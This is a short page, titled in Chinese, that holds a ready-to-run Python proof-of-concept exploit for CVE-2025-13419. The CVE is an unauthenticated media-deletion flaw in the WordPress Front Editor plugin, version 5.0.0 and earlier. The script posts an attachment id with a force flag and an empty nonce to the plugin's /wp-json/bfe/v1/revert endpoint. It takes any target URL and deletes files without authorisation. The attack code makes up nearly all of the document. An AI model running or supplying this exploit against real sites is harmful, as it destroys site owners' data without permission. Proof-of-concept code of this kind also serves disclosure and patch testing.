CVE-2025-13419 WordPress Front Editor插件未授权媒体删除漏洞

import requests import sys # CVE-2025-13419 PoC - Unauthenticated Media Attachment Deletion # Target: WordPress Front Editor Plugin <= 5.0.0 # Endpoint: /wp-json/bfe/v1/revert def delete_media(target_url, attachment_id): """ Delete arbitrary media attachment without authentication """ endpoint = f"{target_url}/wp-json/bfe/v1/revert" # Prepare the request payload with attachment ID payload = { "id": attachment_id, "force": True } headers = { "Content-Type": "application/json", "X-WP-Nonce": "" # No nonce required due to missing capability check } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Successfully deleted attachment ID: {attachment_id}") return True else: print(f"[-] Failed to delete attachment. Status: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13419.py <target_url> <attachment_id>") print("Example: python cve-2025-13419.py http://example.com 123") sys.exit(1) target = sys.argv[1] attachment_id = int(sys.argv[2]) print(f"[*] Targeting: {target}") print(f"[*] Attempting to delete attachment ID: {attachment_id}") delete_media(target, attachment_id)